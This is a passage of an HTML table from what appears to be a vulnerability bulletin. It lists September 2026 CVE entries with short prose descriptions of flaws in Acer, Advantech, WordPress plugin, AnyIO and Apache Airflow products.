&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--Agent Serivce&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. Insufficient access controls within a privileged service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50605&quot; target=&quot;_blank&quot;&gt;CVE-2026-50605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--Agent Service&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. The vulnerability is caused by the use of a hard-coded AES encryption key within the software. Under certain circumstances, a local attacker may be able to use the embedded key to access protected information or perform unauthorized actions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50603&quot; target=&quot;_blank&quot;&gt;CVE-2026-50603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--Agent Service&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. The socket handshake process does not properly require authentication before granting access to the service. Under certain circumstances, an unauthorized connection may be established, potentially allowing access to functionality that should be restricted.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50604&quot; target=&quot;_blank&quot;&gt;CVE-2026-50604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--System Monitoring&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. The vulnerability is caused by the use of a hard-coded AES encryption key within the software. Under certain circumstances, a local attacker may be able to use the embedded key to access protected information or perform unauthorized actions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50606&quot; target=&quot;_blank&quot;&gt;CVE-2026-50606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--System Monitoring&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. A WebSocket service was configured to listen on all network interfaces, which may expose the service to unintended network access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50607&quot; target=&quot;_blank&quot;&gt;CVE-2026-50607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--System Monitoring&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. The WebSocket handshake process does not properly require authentication before allowing connections to the service. Under certain circumstances, unauthorized access to service functionality may be possible.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50608&quot; target=&quot;_blank&quot;&gt;CVE-2026-50608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--System Monitoring&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. Insufficient access controls within a privileged Named Pipe service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50609&quot; target=&quot;_blank&quot;&gt;CVE-2026-50609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--System Monitoring&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense due to insufficient access controls in a privileged service. An authenticated local user may be able to access the service and perform unauthorized registry modifications, potentially resulting in local privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50610&quot; target=&quot;_blank&quot;&gt;CVE-2026-50610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acronis--Acronis Backup plugin for cPanel &amp;amp; WHM&lt;/td&gt;
&lt;td&gt;Local privilege escalation due to insecure file permissions. The following products are affected: Acronis Backup plugin for cPanel &amp;amp; WHM (Linux) before build 1.9.3.1021, Acronis Backup extension for Plesk (Linux) before build 1.8.11.638, Acronis Backup plugin for DirectAdmin (Linux) before build 1.2.3.238.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87886&quot; target=&quot;_blank&quot;&gt;CVE-2026-87886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Active Woot Products Tables for WooCommerce. 100% FREE--Active Woot Products Tables for WooCommerce. 100% FREE&lt;/td&gt;
&lt;td&gt;The Active Woot Products Tables for WooCommerce. 100% FREE&amp;nbsp; WordPress plugin before 2.1.3 does not have authorisation and CSRF checks in some of its AJAX actions, allowing any authenticated users, such as subscriber, to change the title of arbitrary posts, pages and products.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91009&quot; target=&quot;_blank&quot;&gt;CVE-2026-91009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-352: Cross-Site Request Forgery (CSRF) vulnerability in the LuCI administrative web interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to perform unauthorized state-changing requests on behalf of a logged-in administrator, enabling unauthorized access to privileged management functions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19535&quot; target=&quot;_blank&quot;&gt;CVE-2026-19535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73163&quot; target=&quot;_blank&quot;&gt;CVE-2026-73163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73164&quot; target=&quot;_blank&quot;&gt;CVE-2026-73164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73165&quot; target=&quot;_blank&quot;&gt;CVE-2026-73165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-94: Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary code on the device, including OS commands as root.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73166&quot; target=&quot;_blank&quot;&gt;CVE-2026-73166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73167&quot; target=&quot;_blank&quot;&gt;CVE-2026-73167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-79: Improper Neutralization of Input During Web Page Generation (&#039;Cross-site Scripting&#039;) vulnerability in the Modbus transaction management interface of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to store malicious script content that executes in the browser of any administrator who later opens an affected management page.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73169&quot; target=&quot;_blank&quot;&gt;CVE-2026-73169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-94: Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability in the Modbus CSV import workflow of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary Lua code on the device via a crafted imported file.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73170&quot; target=&quot;_blank&quot;&gt;CVE-2026-73170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-73: External Control of File Name or Path vulnerability in the backup-restore workflow of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to overwrite arbitrary files on the device filesystem by uploading a crafted backup archive through the web management interface.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73171&quot; target=&quot;_blank&quot;&gt;CVE-2026-73171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the edgserver management service of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to execute arbitrary OS commands as root via crafted requests to TCP port 5058.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73172&quot; target=&quot;_blank&quot;&gt;CVE-2026-73172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-306: Missing Authentication for Critical Function vulnerability in the edgserver management protocol of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to invoke critical device-management functions, including network reconfiguration, reboot, reset, and firmware upgrade, by sending crafted requests to TCP port 5058.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73173&quot; target=&quot;_blank&quot;&gt;CVE-2026-73173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-319: Cleartext Transmission of Sensitive Information vulnerability in the edgserver management protocol of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a network-adjacent passive observer to intercept management traffic and recover sensitive device identity and network metadata in cleartext.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73174&quot; target=&quot;_blank&quot;&gt;CVE-2026-73174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-400: Uncontrolled Resource Consumption vulnerability in the OPC UA gateway component of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows an adjacent unauthenticated attacker to exhaust the server session pool and cause a complete denial of service to all legitimate OPC UA clients by opening multiple anonymous sessions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73175&quot; target=&quot;_blank&quot;&gt;CVE-2026-73175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73176&quot; target=&quot;_blank&quot;&gt;CVE-2026-73176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Advantech--EKI-1242IEIMS&lt;/td&gt;
&lt;td&gt;Nozomi Networks Labs identified a CWE-345: Insufficient Verification of Data Authenticity vulnerability in the firmware upgrade mechanism of the Advantech EKI-1242EIMS in firmware version V1.06.01. The device accepts firmware images through the authenticated web management interface without performing any cryptographic signature or certificate verification. An authenticated administrator-level attacker can install arbitrary modified firmware on the device, enabling full persistent compromise of the platform.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73177&quot; target=&quot;_blank&quot;&gt;CVE-2026-73177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AF Companion--AF Companion&lt;/td&gt;
&lt;td&gt;The AF Companion WordPress plugin before 2.2.0 does not validate the type of files uploaded through one of its import features, allowing users with a low-privileged store-management role to upload arbitrary files, including PHP ones, leading to Remote Code Execution.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84738&quot; target=&quot;_blank&quot;&gt;CVE-2026-84738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;agronholm--anyio&lt;/td&gt;
&lt;td&gt;AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. In 4.14.0, AnyIO accepts the POSIX extra_groups argument in anyio.run_process() and anyio.open_process(), but open_process() forwards the group argument to the backend instead of extra_groups. A caller that supplies extra_groups=[] to clear inherited supplementary groups can therefore launch a child that retains the parent process groups, undermining a privilege-dropping boundary. If group is also supplied, the integer group value is passed where an iterable of supplementary groups is expected and the launch can fail with TypeError. This issue affects POSIX applications that rely on AnyIO subprocess helpers to launch less-privileged child processes. This issue is fixed in version 4.14.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63349&quot; target=&quot;_blank&quot;&gt;CVE-2026-63349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;agronholm--anyio&lt;/td&gt;
&lt;td&gt;AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, AnyIO starts process-pool workers with standard error connected to a pipe that the parent never drains, even though the documented behavior redirects all three standard streams. Worker code that writes enough attacker-influenced data to sys.stderr can fill the pipe and block before returning the standard-output protocol response, causing the awaiting process-pool call to remain blocked indefinitely. Applications that run untrusted or faulty worker code capable of producing substantial standard-error output are affected. This issue is fixed in version 4.14.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64847&quot; target=&quot;_blank&quot;&gt;CVE-2026-64847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Alior Bank--raty&lt;/td&gt;
&lt;td&gt;Alior Bank PrestaShop module &quot;raty&quot; for commercial partners is vulnerable to SQL Injection in the toggleCategoryPromotionAction&amp;nbsp;method. The module inserts value of the POST parameter &quot;status&quot; into SQL UPDATE queries without any sanitization or validation. An attacker with access to the product or category add/edit functionality in the PrestaShop backoffice can inject arbitrary SQL, potentially allowing unauthorized access to and modification of database contents.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15600&quot; target=&quot;_blank&quot;&gt;CVE-2026-15600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Alior Bank--raty&lt;/td&gt;
&lt;td&gt;Alior Bank PrestaShop module &quot;raty&quot;&amp;nbsp;for commercial partners is vulnerable to SQL Injection in the &quot;hookActionObjectProductUpdateBefore&quot;, &quot;hookActionObjectCategoryUpdateBefore&quot;, and &quot;hookActionObjectCategoryAddAfter&quot; hook methods. The module inserts values of the POST parameters &quot;alior_product_promotion&quot;,&amp;nbsp; &quot;alior_category_promotion&quot; and &quot;alior_category_enabled&quot;&amp;nbsp;directly into SQL UPDATE queries without any sanitization or validation. An attacker with access to the product or category add/edit functionality in the PrestaShop backoffice can inject arbitrary SQL, potentially allowing unauthorized access to and modification of database contents.&amp;nbsp;This issue was fixed in versions:&amp;nbsp;9.0.7 and 8.1.11&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7848&quot; target=&quot;_blank&quot;&gt;CVE-2026-7848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;All Bootstrap Blocks--All Bootstrap Blocks&lt;/td&gt;
&lt;td&gt;The All Bootstrap Blocks WordPress plugin through 1.3.31 does not properly escape a block attribute before outputting it in HTML tag-name position, allowing users with Contributor-level access and above to inject arbitrary web scripts that execute when the affected content is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88993&quot; target=&quot;_blank&quot;&gt;CVE-2026-88993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;All-in-One WP Migration and Backup--All-in-One WP Migration and Backup&lt;/td&gt;
&lt;td&gt;The All-in-One WP Migration and Backup WordPress plugin before 7.111 does not perform any capability check on several of its AJAX actions, gating them only on an installation-wide secret which it discloses to any user permitted to export the site, allowing such a user to import an arbitrary site archive and gain administrator access. Exploitation requires an administrator to have granted the export capability to a role that does not hold the All-in-One WP Migration and Backup WordPress plugin before 7.111&#039;s own import capability, which is not a default configuration.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81810&quot; target=&quot;_blank&quot;&gt;CVE-2026-81810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Altium--Altium Enterprise Server&lt;/td&gt;
&lt;td&gt;A server-side request forgery (SSRF) vulnerability exists in the UnifiedLogin service of Altium Enterprise Server. An unauthenticated network attacker can cause the server to issue outbound HTTP requests to a destination of the attacker&#039;s choosing, including internal services that are reachable only from the server itself. One such internal service exposes server configuration and credential material without authentication, relying only on the request originating locally. Because the forged requests originate from the server process, that check is satisfied. An unauthenticated attacker can therefore retrieve stored credentials and use them to obtain an administrative session, resulting in full compromise of the server and all of its services. Altium 365 cloud deployments are not affected, as the affected endpoint is disabled in cloud mode.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92808&quot; target=&quot;_blank&quot;&gt;CVE-2026-92808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow&lt;/td&gt;
&lt;td&gt;Apache Airflow&#039;s asset queued-events DELETE endpoints checked the caller&#039;s Dag-axis permission with `READ` instead of `EDIT`. Any authenticated user who could read a Dag could therefore delete that Dag&#039;s queued asset events, silently suppressing asset-triggered scheduling for it - a state-changing action gated on a read-only permission. Deployments are affected whenever asset-triggered scheduling is in use and Dag read access is granted more widely than Dag edit access, which is the normal RBAC arrangement; no special configuration is required. Upgrade to apache-airflow 3.3.2 or later.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75157&quot; target=&quot;_blank&quot;&gt;CVE-2026-75157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow Akeyless provider&lt;/td&gt;
&lt;td&gt;Apache Airflow Akeyless provider: the Akeyless secrets backend&#039;s team-scope guard can be bypassed with a user-controlled key. In a multi-team deployment, a Dag author scoped to one team can supply a Variable key containing a path separator that causes the backend to resolve a secret belonging to a different team, because the lookup path is concatenated from an unvalidated key after the team-scoped lookup misses. The Execution API Variables route accepts a path-shaped key, so this is reachable from ordinary Dag code. Affects multi-team deployments using the Akeyless secrets backend. Single-team deployments are not affected, as there is no cross-team boundary to cross. This is the same class as CVE-2026-68870, CVE-2026-68871 and CVE-2026-68872 in the Azure Key Vault, Yandex Lockbox and Amazon secrets backends. Users of apache-airflow-providers-akeyless are recommended to upgrade to version 0.3.1 or later, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86465&quot; target=&quot;_blank&quot;&gt;CVE-2026-86465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow Apache Kafka provider&lt;/td&gt;
&lt;td&gt;Apache Airflow Apache Kafka provider versions 1.15.0 before 2.0.0 resolve dotted-path strings found in a Kafka connection&#039;s `extra` field into Python callables via `import_string`, with no allowlist, and hand them to the confluent-kafka client which invokes them. Deployments that have enabled the Kafka event producer - `dag_run_events_enabled` or `task_instance_events_enabled`, both disabled by default - build that client inside the scheduler process, so a user whose only privilege is editing Airflow connections gains arbitrary code execution in the control plane; the Airflow security model limits connection-configuration users to code execution on workers, not the scheduler. Deployments using Google Managed Kafka are not affected, because that code path overwrites any user-supplied `oauth_cb`; plain brokers and Amazon MSK are exposed. Users are recommended to upgrade to apache-airflow-providers-apache-kafka 2.0.0 or later, which adds an allowlist configuration option for connection-string callbacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86792&quot; target=&quot;_blank&quot;&gt;CVE-2026-86792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow FAB provider&lt;/td&gt;
&lt;td&gt;Apache Airflow FAB provider: deactivating a user account does not stop tokens issued to that account before deactivation. Password authentication correctly rejects the disabled account, but the Core API continues to accept an existing, unexpired token naming it, and lets that token mint a replacement - so the account keeps its role-scoped access indefinitely after an administrator has disabled it. The user replays their own legitimate credential; no signature forgery or privilege escalation is involved, and the access stays within the roles the account already held. Affects deployments using Airflow 3 with the FAB auth manager and Core API token authentication, where an administrator deactivates an account whose row remains in the database and whose previously issued token has not expired. The trigger is administrative deactivation as a containment action, which silently fails to contain. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which rejects tokens naming a deactivated account.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82310&quot; target=&quot;_blank&quot;&gt;CVE-2026-82310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
